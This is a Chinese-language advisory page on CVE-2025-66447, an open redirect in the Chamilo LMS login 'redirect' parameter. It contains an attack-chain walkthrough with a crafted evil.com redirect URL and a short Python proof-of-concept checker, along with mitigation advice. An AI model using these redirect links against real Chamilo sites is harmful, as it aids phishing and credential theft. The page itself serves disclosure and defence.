IPBUF安全漏洞报告
English
CVE-2025-66447 CVSS 0.0 低危

CVE-2025-66447 Chamilo LMS开放重定向漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2025-66447
漏洞类型
开放重定向
CVSS评分
0.0 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Chamilo LMS

相关标签

开放重定向Chamilo LMSWeb安全钓鱼CVE-2025-66447

漏洞概述

Chamilo LMS是一款开源的学习管理系统。在1.11.0至2.0-beta.1版本中,系统存在开放重定向漏洞。攻击者无需身份认证,即可通过向/login接口传递恶意的redirect参数,诱导受害者重定向至任意第三方网站。该漏洞常被用于网络钓鱼攻击,利用合法域名增加恶意链接的可信度。官方已在2.0-beta.2版本中修复了此问题,建议受影响用户尽快更新。

技术细节

该漏洞的根本原因是Chamilo LMS在处理登录逻辑时,未对用户输入的'redirect'参数进行有效的域名校验或白名单过滤。当用户访问/login页面时,应用程序会读取该参数并将其值直接用于HTTP 302重定向响应的Location头中。由于缺乏对重定向目标URL的严格限制,攻击者可以构造包含恶意域名(如http://attacker.com)的URL。当受害者点击此链接时,浏览器会在请求地址栏显示受信任的Chamilo域名,随后自动跳转至攻击者控制的钓鱼页面,从而窃取用户凭据或进行其他恶意操作。尽管漏洞本身不直接导致服务器数据丢失,但其辅助社会工程学攻击的风险不容忽视。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在使用存在漏洞的Chamilo LMS版本。
STEP 2
武器化
攻击者构造包含恶意redirect参数的URL,例如:http://target.com/login?redirect=http://evil.com。
STEP 3
投递
攻击者将伪装后的链接发送给目标用户,通常通过电子邮件或即时通讯工具。
STEP 4
利用
受害者点击链接,浏览器向Chamilo服务器发起请求,服务器响应302重定向至攻击者控制的恶意网站。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2025-66447 Chamilo LMS Open Redirect import requests def check_open_redirect(base_url): # The vulnerable endpoint is /login with a 'redirect' parameter target_url = f"{base_url}/login" # Malicious redirection target malicious_site = "https://evil.com" payload = { "redirect": malicious_site } try: # Send request, do not follow redirects to catch the 302 response response = requests.get(target_url, params=payload, allow_redirects=False, timeout=5) if response.status_code == 302 or response.status_code == 301: location = response.headers.get('Location') if malicious_site in location: print(f"[+] Vulnerability Detected!") print(f" Target: {target_url}") print(f" Redirects to: {location}") return True print("[-] Vulnerability not detected or patched.") return False except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": target = "http://example.com" # Replace with actual Chamilo instance check_open_redirect(target)

影响范围

Chamilo LMS >= 1.11.0, <= 2.0-beta.1

防御指南

临时缓解措施
如果无法立即升级,建议在Web应用防火墙(WAF)或反向代理层配置规则,拦截包含外部域名链接的redirect参数请求,或者通过服务器端脚本修改逻辑,移除或重置未经验证的重定向参数。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表